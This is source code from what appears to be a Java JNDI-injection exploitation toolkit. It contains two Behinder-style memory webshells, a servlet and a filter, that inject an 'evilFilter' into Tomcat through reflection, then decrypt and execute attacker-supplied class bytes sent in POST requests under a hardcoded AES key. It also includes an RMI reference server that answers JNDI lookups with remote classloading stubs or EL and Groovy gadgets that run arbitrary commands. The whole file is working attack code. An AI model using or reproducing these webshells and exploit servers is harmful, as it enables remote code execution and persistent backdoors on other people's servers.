| } 54 | } 55 | 56 | @Override 57 | public void init(ServletConfig servletConfig) throws ServletException { 58 | 59 | } 60 | 61 | @Override 62 | public ServletConfig getServletConfig() { 63 | return null; 64 | } 65 | 66 | @Override 67 | public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { 68 | HttpServletRequest request = (HttpServletRequest) servletRequest; 69 | HttpServletResponse response = (HttpServletResponse) servletResponse; 70 | HttpSession session = request.getSession(); 71 | Map pageContext = new HashMap(); 72 | pageContext.put("session", session); 73 | pageContext.put("request", request); 74 | pageContext.put("response", response); 75 | ClassLoader loader = (ClassLoader) Thread.currentThread().getContextClassLoader(); 76 | if (request.getMethod().equals("POST")) { 77 | if (loader.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 78 | Class Lclass = loader.getClass().getSuperclass(); 79 | RushThere(Lclass, loader, session, request, pageContext); 80 | } else if (loader.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 81 | Class Lclass = loader.getClass().getSuperclass().getSuperclass(); 82 | RushThere(Lclass, loader, session, request, pageContext); 83 | } else { 84 | if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 85 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass(); 86 | RushThere(Lclass, loader, session, request, pageContext); 87 | } else if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 88 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 89 | RushThere(Lclass, loader, session, request, pageContext); 90 | } else if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 91 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 92 | RushThere(Lclass, loader, session, request, pageContext); 93 | } else { 94 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 95 | RushThere(Lclass, loader, session, request, pageContext); 96 | } 97 | } 98 | } 99 | } 100 | 101 | public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map pageContext) { 102 | byte[] bytecode = java.util.Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT"); 103 | try { 104 | java.lang.reflect.Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 105 | define.setAccessible(true); 106 | Class uclass = null; 107 | try { 108 | uclass = cl.loadClass("U"); 109 | } catch (ClassNotFoundException e) { 110 | uclass = (Class) define.invoke(cl, bytecode, 0, bytecode.length); 111 | } 112 | Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class); 113 | constructor.setAccessible(true); 114 | Object u = constructor.newInstance(this.getClass().getClassLoader()); 115 | Method Um = uclass.getDeclaredMethod("g", byte[].class); //获取g函数 116 | Um.setAccessible(true); 117 | String k = pa; 118 | session.setAttribute("u", k); 119 | Cipher c = Cipher.getInstance("AES"); 120 | c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 121 | byte[] eClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 122 | Class eclass = (Class) Um.invoke(u, eClassBytes); 123 | Object a = eclass.newInstance(); 124 | Method b = eclass.getDeclaredMethod("equals", Object.class); 125 | b.setAccessible(true); 126 | b.invoke(a, pageContext); 127 | return; 128 | } catch (Exception e) { 129 | e.printStackTrace(); 130 | } 131 | } 132 | 133 | @Override 134 | public String getServletInfo() { 135 | return null; 136 | } 137 | 138 | @Override 139 | public void destroy() { 140 | 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /src/main/java/shell/BehinderFilterShell.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.Container; 2 | import org.apache.catalina.Context; 3 | import org.apache.catalina.Wrapper; 4 | import org.apache.catalina.core.ApplicationContext; 5 | import org.apache.catalina.core.ApplicationFilterConfig; 6 | import org.apache.catalina.core.StandardContext; 7 | import org.apache.tomcat.util.descriptor.web.FilterDef; 8 | import org.apache.tomcat.util.descriptor.web.FilterMap; 9 | import org.springframework.web.context.request.RequestContextHolder; 10 | import org.springframework.web.context.request.ServletRequestAttributes; 11 | 12 | import javax.crypto.Cipher; 13 | import javax.crypto.spec.SecretKeySpec; 14 | import javax.servlet.*; 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import javax.servlet.http.HttpSession; 18 | import java.io.IOException; 19 | import java.lang.reflect.Constructor; 20 | import java.lang.reflect.Field; 21 | import java.lang.reflect.Method; 22 | import java.util.HashMap; 23 | import java.util.Map; 24 | 25 | public class BehinderFilterShell implements Filter { 26 | 27 | private final String pa = "2028ea0825d3605d"; 28 | 29 | static{ 30 | try{ 31 | ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); 32 | HttpServletRequest request = attributes.getRequest(); 33 | ServletContext servletContext = request.getServletContext(); 34 | Field appctx = servletContext.getClass().getDeclaredField("context"); 35 | appctx.setAccessible(true); 36 | ApplicationContext applicationContext= (ApplicationContext)appctx.get(servletContext); 37 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); 38 | stdctx.setAccessible(true); 39 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 40 | BehinderFilterShell filter = new BehinderFilterShell(); 41 | FilterDef filterDef = new FilterDef(); 42 | filterDef.setFilter(filter); 43 | filterDef.setFilterName("evilFilter"); 44 | filterDef.setFilterClass(filter.getClass().getName()); 45 | standardContext.addFilterDef(filterDef); 46 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 47 | constructor.setAccessible(true); 48 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 49 | Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs"); 50 | filterConfigsField.setAccessible(true); 51 | Map filterConfigs = (Map) filterConfigsField.get(standardContext); 52 | filterConfigs.put("evilFilter", filterConfig); 53 | FilterMap filterMap = new FilterMap(); 54 | filterMap.addURLPattern("/behinderFilter"); 55 | filterMap.setFilterName("evilFilter"); 56 | filterMap.setDispatcher(DispatcherType.REQUEST.name()); 57 | standardContext.addFilterMapBefore(filterMap); 58 | }catch (Exception e){ 59 | e.printStackTrace(); 60 | } 61 | } 62 | 63 | 64 | 65 | public BehinderFilterShell(){ 66 | 67 | } 68 | @Override 69 | public void init(FilterConfig filterConfig) throws ServletException { 70 | 71 | } 72 | 73 | @Override 74 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { 75 | HttpServletRequest request = (HttpServletRequest) servletRequest; 76 | HttpServletResponse response = (HttpServletResponse) servletResponse; 77 | String shell = request.getHeader("shell"); 78 | if (shell.equals("Behinder")) { 79 | HttpSession session = request.getSession(); 80 | Map pageContext = new HashMap(); 81 | pageContext.put("session", session); 82 | pageContext.put("request", request); 83 | pageContext.put("response", response); 84 | ClassLoader loader = (ClassLoader) Thread.currentThread().getContextClassLoader(); 85 | response.setStatus(HttpServletResponse.SC_OK); 86 | if (request.getMethod().equals("POST")) { 87 | if (loader.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 88 | Class Lclass = loader.getClass().getSuperclass(); 89 | RushThere(Lclass, loader, session, request, pageContext); 90 | } else if (loader.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 91 | Class Lclass = loader.getClass().getSuperclass().getSuperclass(); 92 | RushThere(Lclass, loader, session, request, pageContext); 93 | } else { 94 | if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 95 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass(); 96 | RushThere(Lclass, loader, session, request, pageContext); 97 | } else if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 98 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 99 | RushThere(Lclass, loader, session, request, pageContext); 100 | } else if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 101 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 102 | RushThere(Lclass, loader, session, request, pageContext); 103 | } else { 104 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 105 | RushThere(Lclass, loader, session, request, pageContext); 106 | } 107 | } 108 | } 109 | } 110 | chain.doFilter(request,response); 111 | } 112 | 113 | @Override 114 | public void destroy() { 115 | 116 | } 117 | 118 | public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map pageContext) { 119 | byte[] bytecode = java.util.Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT"); 120 | try { 121 | java.lang.reflect.Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 122 | define.setAccessible(true); 123 | Class uclass = null; 124 | try { 125 | uclass = cl.loadClass("U"); 126 | } catch (ClassNotFoundException e) { 127 | uclass = (Class) define.invoke(cl, bytecode, 0, bytecode.length); 128 | } 129 | Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class); 130 | constructor.setAccessible(true); 131 | Object u = constructor.newInstance(this.getClass().getClassLoader()); 132 | Method Um = uclass.getDeclaredMethod("g", byte[].class); //获取g函数 133 | Um.setAccessible(true); 134 | String k = pa; 135 | session.setAttribute("u", k); 136 | Cipher c = Cipher.getInstance("AES"); 137 | c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 138 | byte[] eClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 139 | Class eclass = (Class) Um.invoke(u, eClassBytes); 140 | Object a = eclass.newInstance(); 141 | Method b = eclass.getDeclaredMethod("equals", Object.class); 142 | b.setAccessible(true); 143 | b.invoke(a, pageContext); 144 | return; 145 | } catch (Exception e) { 146 | e.printStackTrace(); 147 | } 148 | } 149 | } 150 | -------------------------------------------------------------------------------- /src/main/java/jndi/RMIRefServer.java: -------------------------------------------------------------------------------- 1 | package jndi; 2 | 3 | 4 | import java.io.BufferedInputStream; 5 | import java.io.BufferedOutputStream; 6 | import java.io.DataInputStream; 7 | import java.io.DataOutputStream; 8 | import java.io.IOException; 9 | import java.io.InputStream; 10 | import java.io.ObjectInputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.io.ObjectStreamClass; 13 | import java.io.OutputStream; 14 | import java.io.Serializable; 15 | import java.lang.reflect.Field; 16 | import java.net.InetSocketAddress; 17 | import java.net.ServerSocket; 18 | import java.net.Socket; 19 | import java.net.SocketException; 20 | import java.net.URL; 21 | import java.net.URLClassLoader; 22 | import java.rmi.MarshalException; 23 | import java.rmi.server.ObjID; 24 | import java.rmi.server.RemoteObject; 25 | import java.rmi.server.UID; 26 | import java.util.Arrays; 27 | 28 | import javax.naming.Reference; 29 | import javax.naming.StringRefAddr; 30 | import javax.net.ServerSocketFactory; 31 | 32 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 33 | 34 | import javassist.ClassClassPath; 35 | import javassist.ClassPool; 36 | import javassist.CtClass; 37 | import org.apache.naming.ResourceRef; 38 | import util.Mapper; 39 | import util.Reflections; 40 | import sun.rmi.server.UnicastServerRef; 41 | import sun.rmi.transport.TransportConstants; 42 | 43 | import static run.ServerStart.getLocalTime; 44 | 45 | 46 | /** 47 | * Generic JRMP listener 48 | * 49 | * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory. 50 | * 51 | * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121. 52 | * 53 | * @author mbechler welkin 54 | * 55 | */ 56 | @SuppressWarnings ( { 57 | "restriction" 58 | } ) 59 | public class RMIRefServer implements Runnable { 60 | 61 | public String command; 62 | 63 | private int port; 64 | private ServerSocket ss; 65 | private Object waitLock = new Object(); 66 | private boolean exit; 67 | private boolean hadConnection; 68 | private URL classpathUrl; 69 | 70 | public String shell; 71 | 72 | 73 | public RMIRefServer ( int port, URL classpathUrl ) throws IOException { 74 | this.port = port; 75 | this.classpathUrl = classpathUrl; 76 | this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); 77 | } 78 | 79 | public RMIRefServer ( int port, URL classpathUrl, String command) throws IOException { 80 | this.port = port; 81 | this.classpathUrl = classpathUrl; 82 | this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); 83 | this.command = command; 84 | } 85 | 86 | public RMIRefServer(int port, URL classpathUrl, String command, String shell) throws IOException { 87 | this.port = port; 88 | this.classpathUrl = classpathUrl; 89 | this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); 90 | this.command = command; 91 | this.shell = shell; 92 | } 93 | 94 | public boolean waitFor ( int i ) { 95 | try { 96 | if ( this.hadConnection ) { 97 | return true; 98 | } 99 | System.out.println(getLocalTime() + " [RMISERVER] >> Waiting for connection"); 100 | synchronized ( this.waitLock ) { 101 | this.waitLock.wait(i); 102 | } 103 | return this.hadConnection; 104 | } 105 | catch ( InterruptedException e ) { 106 | return false; 107 | } 108 | } 109 | 110 | 111 | /** 112 | * 113 | */ 114 | public void close () { 115 | this.exit = true; 116 | try { 117 | this.ss.close(); 118 | } 119 | catch ( IOException e ) {} 120 | synchronized ( this.waitLock ) { 121 | this.waitLock.notify(); 122 | } 123 | } 124 | 125 | 126 | public static final void main ( final String[] args ) { 127 | int port = 1099; 128 | // if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { 129 | // System.err.println(RMIRefServer.class.getName() + " []"); 130 | // System.exit(-1); 131 | // return; 132 | // } 133 | // if ( args.length >= 2 ) { 134 | // port = Integer.parseInt(args[ 1 ]); 135 | // } 136 | 137 | //trigger static code in Mapper 138 | try { 139 | Class.forName("util.Mapper"); 140 | }catch (ClassNotFoundException e){ 141 | e.printStackTrace(); 142 | } 143 | 144 | try { 145 | System.out.println(getLocalTime() + " [RMISERVER] >> Opening JRMP listener on " + port); 146 | RMIRefServer c = new RMIRefServer(port, new URL("http://testlocal.com:8080/")); 147 | c.run(); 148 | } catch ( Exception e ) { 149 | System.out.println(getLocalTime() + " [RMISERVER] >> Listener error"); 150 | e.printStackTrace(System.err); 151 | } 152 | } 153 | 154 | 155 | @Override 156 | public void run () { 157 | try { 158 | @SuppressWarnings ( "resource" ) 159 | Socket s = null; 160 | try { 161 | while ( !this.exit && ( s = this.ss.accept() ) != null ) { 162 | try { 163 | s.setSoTimeout(5000); 164 | InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); 165 | System.out.println(getLocalTime() + " [RMISERVER] >> Have connection from " + remote); 166 | 167 | InputStream is = s.getInputStream(); 168 | InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); 169 | 170 | // Read magic (or HTTP wrapper) 171 | bufIn.mark(4); 172 | try ( DataInputStream in = new DataInputStream(bufIn) ) { 173 | int magic = in.readInt(); 174 | 175 | short version = in.readShort(); 176 | if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { 177 | s.close(); 178 | continue; 179 | } 180 | 181 | OutputStream sockOut = s.getOutputStream(); 182 | BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); 183 | try ( DataOutputStream out = new DataOutputStream(bufOut) ) { 184 | 185 | byte protocol = in.readByte(); 186 | switch ( protocol ) { 187 | case TransportConstants.StreamProtocol: 188 | out.writeByte(TransportConstants.ProtocolAck); 189 | if ( remote.getHostName() != null ) { 190 | out.writeUTF(remote.getHostName()); 191 | } 192 | else { 193 | out.writeUTF(remote.getAddress().toString()); 194 | } 195 | out.writeInt(remote.getPort()); 196 | out.flush(); 197 | in.readUTF(); 198 | in.readInt(); 199 | case TransportConstants.SingleOpProtocol: 200 | doMessage(s, in, out); 201 | break; 202 | default: 203 | case TransportConstants.MultiplexProtocol: 204 | System.out.println(getLocalTime() + " [RMISERVER] >> Unsupported protocol"); 205 | s.close(); 206 | continue; 207 | } 208 | 209 | bufOut.flush(); 210 | out.flush(); 211 | } 212 | } 213 | } 214 | catch ( InterruptedException e ) { 215 | return; 216 | } 217 | catch ( Exception e ) { 218 | e.printStackTrace(System.err); 219 | } 220 | finally { 221 | System.out.println(getLocalTime() + " [RMISERVER] >> Closing connection"); 222 | s.close(); 223 | } 224 | 225 | } 226 | 227 | } 228 | finally { 229 | if ( s != null ) { 230 | s.close(); 231 | } 232 | if ( this.ss != null ) { 233 | this.ss.close(); 234 | } 235 | } 236 | 237 | } 238 | catch ( SocketException e ) { 239 | return; 240 | } 241 | catch ( Exception e ) { 242 | e.printStackTrace(System.err); 243 | } 244 | } 245 | 246 | 247 | private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception { 248 | System.out.println(getLocalTime() + " [RMISERVER] >> Reading message..."); 249 | 250 | int op = in.read(); 251 | 252 | switch ( op ) { 253 | case TransportConstants.Call: 254 | // service incoming RMI call 255 | doCall(in, out); 256 | break; 257 | 258 | case TransportConstants.Ping: 259 | // send ack for ping 260 | out.writeByte(TransportConstants.PingAck); 261 | break; 262 | 263 | case TransportConstants.DGCAck: 264 | UID.read(in); 265 | break; 266 | 267 | default: 268 | throw new IOException(getLocalTime() + " [RMISERVER] >> unknown transport op " + op); 269 | } 270 | 271 | s.close(); 272 | } 273 | 274 | 275 | private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception { 276 | ObjectInputStream ois = new ObjectInputStream(in) { 277 | 278 | @Override 279 | protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { 280 | if ( "[Ljava.rmi.jndi.ObjID;".equals(desc.getName()) ) { 281 | return ObjID[].class; 282 | } 283 | else if ( "java.rmi.jndi.ObjID".equals(desc.getName()) ) { 284 | return ObjID.class; 285 | } 286 | else if ( "java.rmi.jndi.UID".equals(desc.getName()) ) { 287 | return UID.class; 288 | } 289 | else if ( "java.lang.String".equals(desc.getName()) ) { 290 | return String.class; 291 | } 292 | throw new IOException(getLocalTime() + " [RMISERVER] >> Not allowed to read object"); 293 | } 294 | }; 295 | 296 | ObjID read; 297 | try { 298 | read = ObjID.read(ois); 299 | } 300 | catch ( IOException e ) { 301 | throw new MarshalException(getLocalTime() + " [RMISERVER] >> unable to read objID", e); 302 | } 303 | 304 | if ( read.hashCode() == 2 ) { 305 | // DGC 306 | handleDGC(ois); 307 | } 308 | else if ( read.hashCode() == 0 ) { 309 | if ( handleRMI(ois, out) ) { 310 | this.hadConnection = true; 311 | synchronized ( this.waitLock ) { 312 | this.waitLock.notifyAll(); 313 | } 314 | return; 315 | } 316 | } 317 | 318 | } 319 | 320 | 321 | /** 322 | * @param ois 323 | * @param out 324 | * @throws IOException 325 | * @throws ClassNotFoundException 326 | // * @throws NamingException 327 | */ 328 | private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception { 329 | int method = ois.readInt(); // method 330 | ois.readLong(); // hash 331 | 332 | if ( method != 2 ) { // lookup 333 | return false; 334 | } 335 | 336 | String object = (String) ois.readObject(); 337 | System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method); 338 | 339 | String cpstring = this.classpathUrl.toString(); 340 | String reference = Mapper.references.get(object); 341 | 342 | if (reference == null) { 343 | System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found."); 344 | return false; 345 | } 346 | URL turl = new URL(cpstring + "#" + reference); 347 | out.writeByte(TransportConstants.Return);// transport op 348 | try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) { 349 | 350 | oos.writeByte(TransportConstants.NormalReturn); 351 | new UID().write(oos); 352 | 353 | ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); 354 | 355 | if (reference.startsWith("Bypass") && !reference.contains("Groovy")){ 356 | System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference."); 357 | Reflections.setFieldValue(rw, "wrappee", execByEL()); 358 | 359 | } else if (reference.endsWith("Groovy")) { 360 | System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference."); 361 | Reflections.setFieldValue(rw,"wrappee",execByGroovy()); 362 | } else { 363 | System.out.println( 364 | String.format( 365 | getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s", 366 | new URL(cpstring + reference.concat(".class")))); 367 | 368 | Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString())); 369 | } 370 | Field refF = RemoteObject.class.getDeclaredField("ref"); 371 | refF.setAccessible(true); 372 | refF.set(rw, new UnicastServerRef(12345)); 373 | 374 | oos.writeObject(rw); 375 | 376 | oos.flush(); 377 | out.flush(); 378 | } 379 | return true; 380 | } 381 | 382 | /** 383 | * Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor. 384 | */ 385 | public ResourceRef execByEL() { 386 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 387 | ref.add(new StringRefAddr("forceString", "x=eval")); 388 | ref.add(new StringRefAddr("x", String.format( 389 | "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" + 390 | "\"java.lang.Runtime.getRuntime().exec('%s')\"" + 391 | ")", 392 | this.command 393 | ))); 394 | return ref; 395 | } 396 | 397 | /** 398 | * Need: Tomcat and groovy in classpath. 399 | */ 400 | public ResourceRef execByGroovy(){ 401 | ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 402 | ref.add(new StringRefAddr("forceString", "x=evaluate")); 403 | String script = String.format("'%s'.execute()", this.command); 404 | ref.add(new StringRefAddr("x",script)); 405 | return ref; 406 | } 407 | 408 | /** 409 | * @param ois 410 | * @throws IOException 411 | * @throws ClassNotFoundException 412 | */ 413 | private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException { 414 | ois.readInt(); // method 415 | ois.readLong(); // hash 416 | System.out.println(getLocalTime() + " [RMISERVER] >> Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); 417 | } 418 | 419 | 420 | @SuppressWarnings ( "deprecation" ) 421 | protected static Object makeDummyObject ( String className ) { 422 | try { 423 | ClassLoader isolation = new ClassLoader() {}; 424 | ClassPool cp = new ClassPool(); 425 | cp.insertClassPath(new ClassClassPath(Dummy.class)); 426 | CtClass clazz = cp.get(Dummy.class.getName()); 427 | clazz.setName(className); 428 | return clazz.toClass(isolation).newInstance(); 429 | } 430 | catch ( Exception e ) { 431 | e.printStackTrace(); 432 | return new byte[0]; 433 | } 434 | } 435 | 436 | public static class Dummy implements Serializable { 437 | 438 | private static final long serialVersionUID = 1L; 439 | 440 | } 441 | 442 | static final class MarshalOutputStream extends ObjectOutputStream { 443 | 444 | private URL sendUrl; 445 | 446 | 447 | public MarshalOutputStream ( OutputStream out, URL u ) throws IOException { 448 | super(out); 449 | this.sendUrl = u; 450 | } 451 | 452 | 453 | MarshalOutputStream ( OutputStream out ) throws IOException { 454 | super(out); 455 | } 456 | 457 | 458 | @Override 459 | protected void annotateClass ( Class cl ) throws IOException { 460 | if ( this.sendUrl != null ) { 461 | writeObject(this.sendUrl.toString()); 462 | } 463 | else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { 464 | writeObject(null); 465 | } 466 | else { 467 | URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); 468 | String cb = ""; 469 | 470 | for ( URL u : us ) { 471 | cb += u.toString(); 472 | } 473 | writeObject(cb); 474 | } 475 | } 476 | 477 | 478 | /** 479 | * Serializes a location from which to load the specified class. 480 | */ 481 | @Override 482 | protected void annotateProxyClass ( Class cl ) throws IOException { 483 | annotateClass(cl); 484 | } 485 | } 486 | } 487 | --------------------------------------------------------------------------------